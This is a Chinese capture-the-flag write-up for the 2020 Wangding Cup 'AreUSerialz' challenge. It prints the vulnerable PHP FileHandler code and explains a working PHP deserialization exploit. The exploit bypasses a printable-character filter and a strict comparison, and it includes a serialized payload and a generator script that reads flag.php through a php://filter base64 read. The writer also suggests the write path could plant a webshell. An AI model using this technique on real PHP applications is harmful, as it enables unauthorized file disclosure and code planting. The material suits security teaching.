**[网鼎杯 2020 青龙组]AreUSerialzWP**

本文详细解析了一段PHP代码,涉及FileHandler类的构造和方法,通过理解`is_valid`函数限制及序列化技巧,成功绕过条件获取flag。重点介绍了如何利用public属性绕过验证和处理文件读取操作。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

`
<?php

include("flag.php");

highlight_file(__FILE__);
                                                                                                                       
class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

首先 我们开始进行代码审计

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

从最后一行我们可以发现 这是需要发送一个 get请求 str并且他是被反序列化的   所以我们需要把上面的一串子代码序列化

2

我们先分析FileHandler 这个类里面的属性

 function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();

首先我们来看第一个 这个__construct()他的意思就是 当这个类被具体化的时候  这几个属性都会被附上值`

$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!

就像这样赋值了 并且将这个传给 process()这个函数
我们看看process()这个是怎么判断的

if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }

他是说如果$op=1那么他就会传给write方法  不是的话就会传给read方法 并且输出$res
这时候我们要知道我们的目的 那就是 拿到flag 所以我们现在已经有眉目了 先看看 这俩函数说什么

  private function write() {
       if(isset($this->filename) && isset($this->content)) {
           if(strlen((string)$this->content) > 100) {
               $this->output("Too long!");
               die();
           }
           $res = file_put_contents($this->filename, $this->content);
           if($res) $this->output("Successful!");
           else $this->output("Failed!");
       } else {
           $this->output("Failed!");
       }

首先来看这个private函数  他是私有的  所以说 他这个东西 只能在内部调用
我们抓住一个关键点file_put_contents这个函数是说  把一个字符串写进写入文件中。. 与依次调用 fopen (),fwrite () 以及 fclose () 功能一样。.  (感觉这里可以写一句话木马进去 emmm下次研究) 所以说这个写的功能对我们来说是没有用的 我们需要看到flag! 那么看看read方法

private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;

isset就是说若变量不存在则返回 FALSE
若变量存在且其值为NULL,也返回 FALSE
若变量存在且值不为NULL,则返回 TURE
关键点来了 结合上面会输出$res  而res = file_get_contents($this->filename)
file_get_contents这个函数就有说法了

整个文件读入一个字符串中。ile_get_content()可以读取php://filter伪协议

3构造paylod

需要绕过两个地方:

1、is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。

绕过方法:

①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
②private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。

O:11:"FileHandler":3:{S:5:"\00\00op";i:2;S:11:"\00\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}

2、__destruct()魔术方法中,op==="2"是强比较,而process()使用的是弱比较op=="2",可以通过弱类型绕过。

绕过方法:op=2,这里的2是整数int类型,op=2时,op==="2"为false,op=="2"为true

我这里是用 第一种方法public绕过的 is_valid() 大家可以尝试一下第二种

<?php
highlight_file(__FILE__);
	class FileHandler {
        public $op = 2;
        public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
        public $content;
    }
    $a = new FileHandler();
       echo serialize($a);
?>

然后会出现一串base64编码...

这个题到这里也就做完了
总结一下
1.file_get_content()可以读取php://filter伪协议。
2.protected/private类型的属性序列化后产生不可打印字符,public类型则不会。
3.PHP7.1+对类的属性类型不敏感.

4. = 一个等号是赋值
== 两个等号是判断相等且只比较值,不比较类型
=== 三个等号是判断值和类型都相等
!= 不等于符号,只比较值,不管类型
!== 不全等符号,比较值和类型

记一个我记不住的知识点

$this:本类
->:的
filename:$filename

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值